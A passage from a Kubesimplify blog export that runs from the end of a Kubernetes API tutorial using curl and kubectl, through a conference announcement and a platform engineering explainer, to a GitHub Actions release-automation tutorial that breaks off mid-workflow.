  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "3208"
  },
  "items": [
    {
      "metadata": {
        "name": "demo",
        "namespace": "default",
        "uid": "4d1b064d-6e25-4f9b-81d3-b72af5d68451",
        "resourceVersion": "3130",
        "creationTimestamp": "2024-03-15T08:24:17Z",
        "labels": {
          "run": "demo"
        },
...
```

Great, it works! Although, the output is pretty long and “not so good looking”. Let us use the `jq` tool to format it and print only the names of all the pods (without any other metadata):

```bash
$ curl <https://127.0.0.1:57403/api/v1/namespaces/default/pods> \
--cacert ~/.minikube/ca.crt \
--cert ~/.minikube/profiles/minikube/client.crt \
--key ~/.minikube/profiles/minikube/client.key | jq '.items[].metadata.name'

"demo"
"test-deploy-859f95ffcc-8p8t8"
"test-deploy-859f95ffcc-fcdld"
```

**Congratulations 🎉 You’ve successfully made an authenticated API request to Kubernetes!**

# Tips for Further Exploration

Here are a few additional things you can try out to solidify your understanding of the API:

* List down all the resources (or, resource types) in your cluster along with their short names, and API groups:
    
    ```bash
    $ kubectl api-resources
    
    NAME                              SHORTNAMES   APIVERSION                             NAMESPACED   KIND
    bindings                                       v1                                     true         Binding
    componentstatuses                 cs           v1                                     false        ComponentStatus
    configmaps                        cm           v1                                     true         ConfigMap
    endpoints                         ep           v1                                     true         Endpoints
    events                            ev           v1                                     true         Event
    limitranges                       limits       v1                                     true         LimitRange
    namespaces                        ns           v1                                     false        Namespace
    
    ...
    ```
    
* List down all the API versions supported by your cluster:
    
    ```bash
    $ kubectl api-versions
    
    admissionregistration.k8s.io/v1
    apiextensions.k8s.io/v1
    apiregistration.k8s.io/v1
    apps/v1
    ...
    ```
    
* Sending an API request using the `kubectl` raw mode:
    
    ```bash
    $ kubectl get --raw /api/v1/namespaces/default/pods
    
    {
      "kind": "PodList",
      "apiVersion": "v1",
      "metadata": {
        "resourceVersion": "3208"
      },
      "items": [...]
    
    $ kubectl get --raw /api/v1/namespaces/default/pods | jq '.items[].metadata.name'
    
    "demo"
    "test-deploy-859f95ffcc-8p8t8"
    "test-deploy-859f95ffcc-fcdld"
    ```
    
* View the “under-the-hood” API calls made by the `kubectl` command:
    
    ```bash
    $ kubectl get -v 6 -n default pods
    
    I0315 14:17:53.829941   32342 loader.go:395] Config loaded from file:  /Users/kunalverma/.kube/config
    I0315 14:17:53.830498   32342 cert_rotation.go:137] Starting client certificate rotation controller
    I0315 14:17:53.854051   32342 round_trippers.go:553] GET <https://127.0.0.1:57403/api/v1/namespaces/default/pods?limit=500> 200 OK in 21 milliseconds
    
    NAME                           READY   STATUS    RESTARTS      AGE
    demo                           1/1     Running   0             23m
    test-deploy-859f95ffcc-8p8t8   1/1     Running   3 (33m ago)   131m
    test-deploy-859f95ffcc-fcdld   1/1     Running   3 (33m ago)   131m
    ```
    
    Here, we are using the `-v` flag to set the verbosity of the output. You may even use `-v 8` to dig a bit deeper and view the complete response body.
    

# Wrapping Up

In this guide, we covered the fundamentals of interacting with the Kubernetes API, from understanding its RESTful nature to exploring its internal structure. We leaned about the primary components that make up the API - **Resources**, **Verbs**, **API Groups**, **Versions** and **Kinds** i.e. object schema. Lastly, we went through an entire process of making an HTTP request to the API via `curl` to fetch all the running pods in the cluster.

As you continue your journey with Kubernetes, I encourage you to explore further by diving into more hands-on practice. Experiment with different API endpoints, try out various authentication mechanisms, and even build automation scripts or applications that interact with the Kubernetes API.

By gaining practical experience and deepening your understanding of the Kubernetes API, you'll be better equipped to manage and orchestrate containerized applications effectively in Kubernetes clusters.

**Happy Learning!**

# Resources

* [Kubernetes Documentation - API Overview](https://kubernetes.io/docs/reference/using-api/)
    
* [Kubernetes Documentation - API Concepts](https://kubernetes.io/docs/reference/using-api/api-concepts/)
    
* [SIG Architecture - API Conventions](https://github.com/kubernetes/community/blob/7f3f3205448a8acfdff4f1ddad81364709ae9b71/contributors/devel/sig-architecture/api-conventions.md)
    
* [Exploring Kubernetes API with Curl](https://www.notion.so/Meet-with-Saiyam-Kubesimplify-March-24-316e5c96ea10460ca11d552464418a38?pvs=21)
    
* [Working with Kubernetes API - Learning Series](https://iximiuz.com/en/series/working-with-kubernetes-api/)
    

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify). Join our [**Discord server**](https://kubesimplify.com/discord) to learn with us!

---

# Kubesimplify at WasmIO and KubeCon EU 2024

- Canonical: https://blog.kubesimplify.com/kubesimplify-at-wasmio-and-kubecon-eu-2024
- Published: 2024-03-09
- Summary: Meet the Kubesimplify team at Kubecon and WasmIO. Learn, connect and discuss the collaboration opportunities. 

Get ready for an action-packed fortnight in the WebAssembly realm! Saiyam Pathak(Founder of Kubesimplify) and Saloni Narang(DevRel) are on their way to the Wasm I/O event in Barcelona, Spain, and then off to the Cloud native Rejekts and then to KubeCon + CloudNativeCon EU ‘24 in Paris, France. Each event is going to be amazing as they both are speaking at the events and Kubesimplify is a proud community sponsor for Rejekts. Continue reading to discover all the sessions at both conferences!

You can talk with Saiyam/Saloni and understand Kubesimplify's mission and collaboration opportunities for DevRel, Content and Interviews onsite.

**Wasm I/O ‘24**

* **Accelerating ML Inferencing with WebAssembly & Spin 2.0**: Saiyam Pathak and Radu Matei  
    [Session Link](https://2024.wasmio.tech/sessions/accelerating-ml-inferencing-with-webassembly-and-spin-20/)  
    Dive into ML inferencing and the evolution of AI with WASM and Spin 2.0. Discover the potential of WASM for AI app development, performance enhancements, and cross-platform security.
    
* **Create Production-Grade Wasm Applications on Kubernetes \[Workshop\]**: Saiyam Pathak and Sven Pfennig  
    [Session Link](https://2024.wasmio.tech/sessions/create-production-grade-wasm-applications-on-kubernetes-workshop/)  
    Learn to deploy and manage robust Wasm applications on Kubernetes. This workshop covers everything from deployment to monitoring, focusing on production-grade solutions.
    
* **Sustainability with WASM? - Faster, Greener Computing \[Panel\]**: Saloni Narang, Saiyam Pathak, Danielle Lancashire, Shivay Lamba and Rishit Dagli  
    [Session Link](https://2024.wasmio.tech/sessions/sustainability-with-wasm-faster-greener-computing/)  
    Explore the role of WASM in achieving greener computing. Our panel discusses the environmental benefits of WASM, optimizing resources for sustainable development.
    

**KubeCon + CloudNativeCon EU ‘24**

* **Colocated Event: The Kubernetes Hunger Games: Distro Performance in the Edge**: Saiyam Pathak and Shivay Lamba  
    [Session Link](https://sched.co/1YFfV)  
    Join us for an analysis of Kubernetes distributions in edge computing environments. Discover how different distros cater to diverse edge computing needs.
    
* **CloudnativeHacks Sustainability Panel Discussion**: Saiyam Pathak, Leonard Pahlke, Saloni Narang, Kristina D. and Niki Manoledaki  
    [Session Link](https://kccnceu2024.sched.com/event/1Yvvp/cloudnativehacks)  
    Join our panel as we dive into the sustainability practices within cloud-native ecosystems. Learn about the advancements in TAG sustainability.
    
* **Heating Pools with Cloud Power: A New Wave in Green Computing**: Saiyam Pathak and Mark Bjornsgaard  
    [Session Link](https://sched.co/1YeOI)  
    Discover how Civo & DEEP GREEN's project uses server heat for community pools. This case study highlights the synergy between cooling technologies and cloud solutions.
    
* **Building a Tool to Debug Minimal Container Images**: Saiyam Pathak and Kyle Quest  
    [Session Link](https://sched.co/1YeS7)  
    Learn about tools that enhance the debugging of minimal container images across Kubernetes, Docker, and ContainerD, filling gaps in existing developer tooling.
    

Kubesimplify is thrilled to engage with the community, share insights, and learn from fellow enthusiasts. Be sure to add these sessions to your schedule, and Saiyam Pathak + Saloni Narang can't wait to connect with you in Barcelona and Paris!

Be ready for KubeCon and WasmIO by learning about WebAssembly and Kubernetes from our our workshops!

%[https://www.youtube.com/watch?v=PN3VqbZqmD8] 

%[https://www.youtube.com/watch?v=eYekV2Do0YU] 

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Platform Engineering Demystified -  Navigating the Basics

- Canonical: https://blog.kubesimplify.com/platform-engineering-demystified-navigating-the-basics
- Published: 2024-02-24
- Summary: In this blog post, we’ll demystify the basic concepts of Platform Engineering by understanding how it’s a natural and necessary evolution to DevOps.

**Picture this:** You are working as a Developer in a fast-growing tech startup. A startup which is centered around the whole idea of operating through DevOps - **the whole philosophy of developers & operations collaboration, establishing an automated workflow and all that fun stuff.** The main aim being - creating a seamless and automated pipeline for faster software delivery to customers.

But, as the startup expands its portfolio of projects, you notice a **subtle shift** in the work environment! What was once a very streamlined and efficient process, powered by the DevOps principles now looked more like a **complicated puzzle**, with **missing pieces** and **connections out of sync**. Rolling out new updates became a challenge, dev environments for different teams lacked uniformity, automation scripts written in different languages and formats scattered all over the place, and finding & fixing bugs felt like solving a mystery in itself.

Overall, what was once a smooth collaboration between developers and operations was turning into a bit of a **struggle**, leaving everyone in team stressed and in **need of a new solution!**

[![Source: https://blog.twn.ee/en/design-systems-and-component-libraries](/img/blog/platform-engineering-demystified-navigating-the-basics/1dfad3dd-396a-42b5-80f7-413d85980095.png align="center")](https://blog.twn.ee/en/design-systems-and-component-libraries)

**Sounds pretty familiar, right?** Because this scenario isn't unique anymore. It’s the story of many companies navigating the path of expansion and innovation today. The very philosophy that initially fueled productivity – **DevOps** – now seems to be **causing more headaches than solutions.** And that's a hard yet compelling truth of modern software delivery!

Interestingly, the solution to this (atleast, its believed to be) already exists and is being adopted very rapidly by big tech giants and even early-stage startups. And that solution is - **Platform Engineering.**

**Platform Engineering is not just a buzzword;** it's a strategic shift from the pitfalls of today's DevOps reality to a modern software delivery approach.

In this blog post, we’ll demystify the **basic concepts of Platform Engineering**, building a solid foundation by understanding how it’s a natural and necessary evolution to DevOps.

# **The rise of DevOps - An Answer to Traditional Software Delivery**

To understand today's software reality, we need to take a step back and understand the reasons and events that led to the **advent (rise) of DevOps** in the whole software development workflow.

If we take a look at the traditional approach to software development and delivery back in the time (probably in the late **90s** and early **2000s**), making software was a bit like building a house in separate parts. On one side we had the developers, fully dedicating their time to **"crafting the code"** and on the other side, the operations team - responsible for the the actual software delivery, the underlying infrastructure and the maintenance of that infrastructure.

As software grew in size and complexity, this **"siloed approach"** led to communication gaps, a lot of delays, and a lack of synergy among these internal teams. On one hand, if developers wanted to get anything done to run their applications, they had to go through the operations team and on the other hand, the operations were totally dependent on the developers for any issues in the production environment. This approach was termed as - **“throw over the fence” workflow**, which eventually led to poor experiences on both sides of the fence. As an industry, we all agreed this was not the ideal we should aspire for!

[![Source: https://medium.com/@yevgeniy.zhitomirskiy/what-is-devops-9a1acc0c2a28](/img/blog/platform-engineering-demystified-navigating-the-basics/be7c252d-6ff3-4de7-a92c-b6ee1e273f0b.png align="center")](https://medium.com/@yevgeniy.zhitomirskiy/what-is-devops-9a1acc0c2a28)

Thus, DevOps quickly established itself as a solution; **a cultural shift that aimed to break down this "silo" and foster collaboration between both sides of the fence.** The main aim being - to align the “Development” and “Operations” teams towards the goal of delivering software at higher speeds. Complimented with the modern approach of **Continuous Integration and Continuous Delivery (CI/CD)**, the aim was to introduce automation and smooth collaboration in the software lifecycle for a faster and more reliable software delivery, plus **reducing the cognitive load** for both the teams at the same time.

![](/img/blog/platform-engineering-demystified-navigating-the-basics/4400104e-9dda-4a18-94b4-f53fb8f96462.png align="center")

# Going Beyond DevOps - Pitfalls in Today's Software Reality

Now, although DevOps as a philosophy started with a great intent and did solve many problems, we also saw scenarios where following DevOps clearly didn’t make sense and it seemed to be causing more headaches than solutions. Let us analyse how this happened!

We all agree that the decade of **2010** saw a tremendous growth in cloud adoption and containers. I often like to refer this phase as a **“revolution in the software industry”** and there are a lot of [factual data available](https://www.techrepublic.com/article/the-most-important-cloud-advances-of-the-decade/) that proves this point.

> To give you a glimpse of this adoption phase:
> 
> AWS went from 100K customers in 2010 to a million in 2015. Docker which was introduced in 2013 had 100K companies using/evaluating in 2014, and within a year, a million companies were using containers in the form of Docker 😲

I’ll not get into the details, but essentially, this enabled organisations to **build softwares with a bit more complex architectures that can be easily scaled and distributed very well at the same time.** But, with this increasing complexity of software the areas of concern for an organisation weren’t just limited to a faster application development and delivery. With an increasing adoption of **cloud native philosophies** such as **security, reliability, availability** and the development of a diverse variety of solutions to achieve these, organisations had to adapt their existing strategies to tackle these broader areas for long-term success in the ever-changing tech ecosystem.

Thus, this also meant that **“setups”** became a lot more complex. **Those were long gone when you just needed to run a single script to deploy a simple application on a server, connected with a database service.**

Let us see an analogy to understand this in a better way.

Imagine you have a single DevOps team (developers + operations combined - let’s call it **Team A**) to manage the entire workflow of software delivery. This includes everything from application development and infrastructure provisioning to application deployment and continuous maintenance of the production environment. It's a continuous cycle.

To streamline these operations, the team wisely chooses a specific toolchain - **Kubernetes for orchestration**, **Terraform of infrastructure provisioning**, **Jenkins for the automation pipeline** and so on for all the different stages of a DevOps cycle.

![](/img/blog/platform-engineering-demystified-navigating-the-basics/46ca864d-1793-47eb-a38f-c4c0014e2a37.png align="center")

Now, with increase in software complexity, you would agree that achieving efficiency demands scaling up, so now we have another DevOps team in the process. Let’s call it **Team B.**

The interesting part is, with a lot of solutions around for the same problem, they now have the freedom to choose a different toolchain to manage their segment of the underlying software infrastructure, in their own way. For instance, they might go for **Amazon EKS for orchestration**, **Pulumi for infrastructure provisioning**, and so forth.

So now, we find ourselves with two DevOps teams, each operating with a distinct toolchain, all under the umbrella of the same organization.

![](/img/blog/platform-engineering-demystified-navigating-the-basics/7966dfde-03f9-460a-9afd-961f6c3828dc.png align="center")

**Sounds efficient?** Well, let’s elevate this scenario and imagine **10x** more teams working in the similar fashion to build different parts of a complex software.

![](/img/blog/platform-engineering-demystified-navigating-the-basics/2b8bc8ec-82ad-4801-a12d-f665b3b3b0db.png align="center")

Not sounding much efficient now, right? And the truth is, it isn’t at all and here are a couple of reasons why:

* **Re-defining roles in “You Build it, You Run it”**
    
    The idea of "You Build it, You Run it" means developers are not just writing code but also responsible for managing the entire process, **from testing to deploying and running applications.** While this may seem efficient, it puts **extra pressure** on developers to learn and handle infrastructure tasks. This can divert their focus from their main expertise - **coding and building application logic**, thus may result in decreased application quality and overall user experience.
    
* **Hard to Scale**
    
    When **multiple DevOps teams** use different toolchains for similar tasks - for example, Team A is using **Terraform** for defining their cloud infrastructure, but Team B is performing the same task with **Pulumi**. This leads to a lack of consistency. As the number of teams grows, managing and coordinating becomes complex, resulting in a bottleneck for software delivery. This lack of uniformity in the organisation hinders scalability and efficiency.
    
* **Lack of Expertise**
    
    With the **"You Build it, You Run it" approach**, developers might need to stretch their expertise beyond coding into the complexities of infrastructure and operations. This dual role can **spread skills thin**, potentially **leading to gaps** in specialized knowledge required for efficient problem-solving.
    
* **Increase in TicketOps**
    
    Now, developers, dealing with both coding and operations, might find themselves **seeking help more often**. Therefore, **relying on Ops teams** for rescue missions increases the number of **support tickets**. This dependency on Ops can **slow downthe workflow**, creating a **bottleneck** in issue resolution.
    
* **Inconsistency across the Organisation**
    
    The **diversity of toolchains** used by different DevOps teams within the same organization leads to inconsistency. Each team might prefer different tools and services, making it challenging to maintain a standardized approach. This lack of uniformity can result in **confusion, inefficiencies, and hinder collaboration.**
    

Overall, while the initial concept of combining development and operations aimed for efficiency, a consistent pattern of the observed challenges lead to re-evaluation of this approach. The goal being simple - **to find a balance that ensures efficiency, scalability, and expertise while maintaining consistency across the organization!**

# The Era Of Platforms

Alright, I hope we agree that DevOps started with a great intent, but due to increased software complexity with time, **we are in the need of a different and a modern strategic approach to meet today’s software needs.**

Essentially, the most basic need is to standardise the vast pool of toolchains being used by different teams under the same organisation, to streamline operations and reduce overall complexity of software production. And, this can be achieved by building a **“Platform”.**

In simple terms, a **“platform” is developer-friendly interface** that grants **easy access** to underlying infrastructure technologies like **VMs** or **cloud services**, eliminating the need for an in-depth understanding of the technical nitty-gritty behind them. It basically makes things easier by combining different tools and services in one place, so developers can focus on what they do best i.e. building the application logic, instead of dealing with all the technical stuff underneath such as, the infrastructure itself.

![Source: https://www.gorkem-ercan.com/p/understanding-the-p-in-idp](/img/blog/platform-engineering-demystified-navigating-the-basics/4367a2a7-3887-4573-bf78-f7b0828c1edc.png align="center")

Interestingly, this particular concept of **building an internal platform that can be commonly accessed by different team is not very old!** With the increasing adoption of cloud technologies as well as the growing complexity of applications, many advanced organisations and big tech giants like Google, Facebook, [Airbnb](https://www.infoq.com/news/2019/03/airbnb-kubernetes-workflow/), and [Netflix](https://netflixtechblog.com/neflix-platform-engineering-were-just-getting-started-267f65c4d1a7) have already been working on and adopted such an approach to increase their **team’s productivity**, **speed** and **flexibility** for building complex softwares with maximum efficiency.

Although, we’ll be looking into “platforms” from a bit more technical standpoint in the next section, let's quickly highlight the advantages this methodology brings to the table:

* **Developer-Centric Access:** Platforms follow a more developer-friendly and self-serving approach, offering easy access to standardized tools without requiring deep expertise. This enables developers to concentrate on building applications instead of getting entangled in infrastructure complexities, resulting in faster learning and time to market.
    
* **Standardization Principle:** “Standardization” - **thats the main and the most basic principle on which a platform methodology works upon.** Platforms essentially provide a well-defined ecosystem to developers by gluing together applications and the infrastructure underneath them. This ensures that every distributed team within an organization adheres to the same set of tools and processes, **fostering better collaboration** and reducing cognitive load on team members.
    
* **"You Build it, You Run it" Simplified:** “**Developers should be able to deploy and run their apps and services end to end**” - that was the principle of “You Build it, You Run it” and honestly, the main challenge as well at the same time (as we discovered above). With Platforms coming into the picture, **developers now have the flexibility to focus on their core expertise** i.e. building the application logic itself (coding), without the need to worry or delve into the complexities of the underlying infrastructure and the technologies associated with it. Thus, fully dedicating their time and efforts in developing new features, building an efficient application logic, fixing bugs instead of worrying about - **“how do I provision an EKS cluster to run and test my application?”.**
    

# Platform Engineering - The Evolution of DevOps

So, what is Platform Engineering? **It's the art of designing, building, and maintaining platforms** - simple as that! Well, atleast thats the most basic way to define a rather complex philosophy with a lot of different parts to it, but we’ll eventually get into those.

The primary goal? **To improve the developer experience and productivity by providing “self-service” capabilities with automated infrastructure operations.** As we learned in the previous section, this goal can be achieved by standardizing the usage of tools and processes across the organisation with **a unified (common) internal platform**, that caters to all the non-functional requirements of the application (the actual software), based on the developer’s request.

> **📍What are the non-functional requirements of an Application?**
> 
> Non-functional requirements are like the behind-the-scenes tasks needed to get a finished software to users. They're not the actual business logic or code but important for making sure everything runs smoothly and is complete.
> 
> Think of them as the backstage crew making sure the show goes on seamlessly for the audience!
> 
> Here are some of the **basic non-functional requirements** needed by today’s software:
> 
> ![](/img/blog/platform-engineering-demystified-navigating-the-basics/89e2db9f-211d-4e7a-b361-1a1a60f05fd0.png align="center")

To achieve this in an organisation, we have a dedicated platform engineering team. This team is responsible for the **entiregroundwork of designing, building and maintaining these internal platforms.**

To delve a bit deeper, let’s elaborate this a bit more by understanding the components of Platform Engineering.

# Components Of Platform Engineering

TLDR; You essentially need 3 things to implement platform engineering the right way:

* the platform itself,
    
* a platform team (comprising of platform engineers) and,
    
* a correct ideology to follow for maximum results.
    

Let us elaborate these a bit more.

## Internal Developer Platform (IDP) - The Platform Itself

The most integral part of implementing the Platform Engineering philosophy in an organisation is the platform itself, which is referred to as the Internal Developer Platform or IDP.

If we go by the [official definition](https://internaldeveloperplatform.org/) of an IDP:

> An Internal Developer Platform (IDP) is built by a platform team to enable developer self-service. An IDP consists of many different techs and tools, glued together in a way that lowers cognitive load on developers without abstracting away context and underlying technologies.

In simple terms, IDPs are configured by a separate platform engineering team and used by developers. Again, the goal is to standardize the the use of tools and processes throughout the organization with this unified (common) internal platform. Therefore, t**he platform team is fully responsible for specifying what resources start up with what environment or at what request.** The tools, the underlying the services and the necessary permissions needed to run those services all are the responsibilities of platform engineers. Thus, giving a whole lot of flexibility to the developers. They can now **effortlessly request** their preferred tool or service, dynamically configure it based on specific use cases, and concentrate on building the actual application at an accelerated pace.

## The Platform Team - Actual Builders

To elaborate a bit more on the platform team, it consists of “platform engineers” who primarily **build, run, configure and maintain the IDP.** This team focuses on “standardization” by **design, infrastructure, service level permissions, and configure the IDP** to automate recurring or repetitive tasks, such as spinning up resources or environments for developers. In the end, the Developer teams gain flexibility of **changing configurations, deploying the application, spinning up fully provisioned environments**, and much more.

## Hold On A Second!

But, hold on a second! If I'm getting this right, there's now a separate Platform team which is responsible for building this common platform (IDP) with a set of fixed tools/services (that too company-wide) which they decide and as a developer, I can ask for what I need and how much I need based on my own requirements. **Doesn’t this defeat the purpose of the collaborative approach of DevOps itself, where we brought together the responsibilities of both development and operations to avoid the old "siloed" way of doing things?** Because it seems like now, as a developer, I'd be constantly reaching out to the platform team for the services I want.

![](/img/blog/platform-engineering-demystified-navigating-the-basics/23e9ed74-c494-44ab-96ec-6b39d7e366ca.png align="center")

It absolutely does sound that way and we definitely agree to not walk on that path again, right?

There’s actually more to this and the interesting part lies here!

What a platform team actually does is, apply their “Ops” expertise in configuring the actual underlying infrastructure tools and service - let’s say **Kubernetes for orchestration**, **Google cloud as a cloud platform**, **database service** etc - essentially, all the tools necessary to meet the non-functional requirements of an application, as discussed earlier. On top of this, they build an **“abstraction layer”** in the form of a user interface, consisting of those same tools and services, ready to be used and without the underlying complexity - **which we refer to as an Internal Developer Platform (IDP).**

Moving forward, from here on the developers can **“self-serve”** their needs of different tools and services through this internal platform, without worrying about:

* the nitty-gritty of the underlying infrastructure,
    
* learning that specific tool or service end-to-end in order to implement it and,
    
* constantly requesting new resources/services directly from the platform team.
    

![](/img/blog/platform-engineering-demystified-navigating-the-basics/8f54925f-6af8-4392-b89e-912f7378d985.png align="center")

This is a game changer and I hope you can see that too now!

When using these IDPs, developers now have the flexibility to choose the right level of abstraction for running their apps and services, based on their preferences. **For instance, do they like messing around with Helm charts, YAML files and Terraform modules?** Great, they can do so. **Are they a junior frontend developer who doesn’t care if the app is running on GKE or EKS?** Fantastic, they can just self-serve an environment that comes fully provisioned with everything they need to deploy and test their code, without worrying where it runs!

To end this section, we mentioned above about **“following the correct ideology”** when building these internal developer platforms for maximising the results and efficiency of all the teams. **What is that correct ideology?** Well, that is something we’ll be covering in a future article because of the topic complexity and importance.

# **Leveraging Platform Engineering to Address DevOps Challenges**

In one of the previous sections, we talked about the challenges and pitfalls associated with DevOps when used in today’s software workflow. Let us briefly see how the principles of Platform Engineering come out as a solution to those challenges.

* **"You Build it, You Run it" Harmony:** We talked about the **cognitive load** on developers how due to Ops being embedded in Dev. With Platform Engineering, this principle gets refined. Developers can now focus on building the applications using **readily available, self-serviced infrastructure tools and services** provided by a common internal platform, while a dedicated platform team manages the entire underlying operational aspects. This establishes a **collaborative bridge between Dev and Ops**, without overwhelming either side with additional responsibilities.
    
* **No More Expertise Stress:** Internal Developer Platforms act as a **technical facilitator**, reducing the burden on developers to have extensive expertise in all areas of the software lifecycle (development and operational knowledge). The platform team handles the intricate technical aspects, **allowing developers to focus on their core responsibilities i.e building the actual application logic.**
    
* **Bye-bye TicketOps:** Internal Developer Platforms empower developers through self-service capabilities, **allowing them to access necessary tools and resources whenever and however they need.** This essentially eliminates the need for constant ticket submissions or requests for new services to the platform team. Thus, fostering a more streamlined and efficient workflow.
    
* **Consistency for All:** Platforms bring order to the tech chaos. **Everyone in the team follows the same rules and tools across the organisation**, ensuring a smooth and consistent approach. This results in accelerated and efficient software delivery, **as everyone operates within the same framework.**
    

# Wrapping Up - Conclusion

Yes, it might seem surprising to reach the conclusion already, but our main goal was to **lay the ground work for understanding the fundamental concepts of platform engineering** and, most importantly, to answer the crucial question: **why is it needed?**

The knowledge gained here will definitely help building a solid foundation for upcoming articles that will delve deeper into the intricate world of Platform Engineering.

Rest assured, there's much more to explore in Platform Engineering **besides it being a hype and a natural evolution of DevOps.**

If you have any further questions, feel free to reach out to me on [Twitter/X](https://twitter.com/kverma_).

**Happy learning and see you in the next one!**

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify). Join our [**Discord**](https://kubesimplify.com/discord) server to learn with us.

---

# Automated GitHub Releases with GitHub Actions and Conventional Commits

- Canonical: https://blog.kubesimplify.com/automated-github-releases-with-github-actions-and-conventional-commits
- Published: 2024-02-12

Releases are a very important way to:

* Track versioning
    
* Showcase changes
    
* Acknowledge contributors
    
* Distribute Binaries
    

![](/img/blog/automated-github-releases-with-github-actions-and-conventional-commits/1ee8a5e2-905b-421e-9f73-38da09ed5b2b.png align="center")

But, who does releases manually? That is boring. True engineers spend 6 hours automating tasks that take 6 minutes! So let's build a CI/CD Pipeline to automate this:

![](/img/blog/automated-github-releases-with-github-actions-and-conventional-commits/f78e04a9-0317-4a96-9b70-aefebf646703.png align="center")

## Problems

Let's break this problem down into smaller bits. I need to:

* Check if my application works so that I don't release any broken code
    
* Store the previous version to iterate only forwards
    
* Figure out how I want to bump the version (spoiler: we use conventional commits)
    
* Showcase all the commits in the release
    
* Acknowledge the contributors by using GitHub's release template
    
* Upload the binary assets to GitHub in the release
    

### Check if my application works so that I don't release any broken code

Let's create a simple GitHub action that checks if my application is up to standards:

```yaml
name: CI

on:
  push:
    branches:
      - main
  pull_request:

permissions:
  contents: write
  packages: write
  pull-requests: write

env:
  GO_VERSION: 1.21.3
  APP_NAME: go-todo-api

jobs:
  lint:
    name: Lint
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Lint ${{ env.APP_NAME }}
        run: go vet ./...

  build:
    name: Build
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Build ${{ env.APP_NAME }}
        run: |
          chmod +x ./scripts/build.sh
          ./scripts/build.sh

  test:
    name: Test
    needs: build
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: "Warning: No test cases"
        run: echo "Reminder to create test cases"
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Test ${{ env.APP_NAME }}
        run: go test -v ./...
```

That looks like a lot of stuff, let me break it down:

* We give the workflow a name: `CI`
    
* Set it to trigger on `push` to the main branch and `pull_request` (I know we only release from the pushes, but having CI for preview environments is like a bonus cherry on top)
    
* We give it some permissions, we want it to be able to:
    
    * push (`contents` permission)
        
    * `pull-requests` (to create the pull request that will merge in the release)
        
    * OPTIONAL: `packages` used to publish to the GitHub Container Registry
        
* We create two environment variables simply to reuse them later:
    
    * `GO_VERSION`: If I update my go versions I don't want to go and change it everywhere, so this env variable is for standardising the `GO_VERSION`
        
    * `APP_NAME`: This comes in handy when I want to push to dockerhub and create the binaries with proper naming! We also use it to name the steps and jobs so that they don't look like 'Linting project-name' rather than linting.
        
* We create 3 jobs:
    
    * `lint`:
        
        * We run `actions/checkout`
            
        * Setup Go with `actions/setup-go`, with our ENV variable of `GO_VERSION` replace this with your programming language
            
        * We install modules by running `go mod download` and `go mod verify`
            
        * We run `go vet ./...` to test the app. Replace with your test command.
            
    * `build`:
        
        * We duplicate the `lint`, rename `lint` to `build` and replace `go vet ./...` with the build script
            
    * `test`:
        
        * We duplicate the `lint`, rename `lint` to `test` and replace `go vet ./...` with the `go test -v ./...`
            

### Store the previous version to iterate only forwards

Let's create a file called `package.yaml` inside `.github` with one property called version. If you are using Node.Js then don't do it (we will use package.json instead).

## Figure out how I want to bump the version

There is a specification called [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) for making commit messages both human-readable and machine-readable. The commit message is:

```plaintext
<type>[optional scope]: <description>

[optional body]

[optional footer(s)]
```

Inside `1.2.11` as the version of a software:

* `1` is for major releases, only used when breaking changes are introduced
    
* `2` is for
    

The important thing is `<type>` here, if the type is one of:

* `feat`: Feature enhancement / Minor release, if the previous version is `0.2.0` it becomes `0.3.0`
    
* `fix`: Bug Fix / Patch release, if the previous version is `0.2.1`, it bumps to `0.2.2`
    

FYI, if you get to `0.9.0` the next release will be `0.10.0` and not `1.0.0`. But then how do we get to `1.0.0`?

We can make a commit like `feat!: breaking change` to push the version to `1.0.0` or you can also do:

```plaintext
<type>[optional scope]: <description>

BREAKING CHANGE: update description

[optional footer(s)]
```

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">FYI, you should only do a 'major' release when you make a change that is big enough to make previous ways of using it not work anymore.</div>
</div>

So now, we can use the tooling for `conventional-commits` to bump the version and showcase the changes.

### Showcase all the commits in the release

We will use the `TriPSs/conventional-changelog-action` action for this:

```yaml
  changelog:
    name: Changelog
    needs:
      - lint
      - build
      - test
    if: github.event_name != 'pull_request'
    runs-on: ubuntu-latest

    outputs:
      skipped: ${{ steps.changelog.outputs.skipped }}
      tag: ${{ steps.changelog.outputs.tag }}
      clean_changelog: ${{ steps.changelog.outputs.clean_changelog }}
      version: ${{ steps.changelog.outputs.version }}

    env:
      PR_BRANCH: release-ci-${{ github.sha }}

    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Create Branch
        run: |
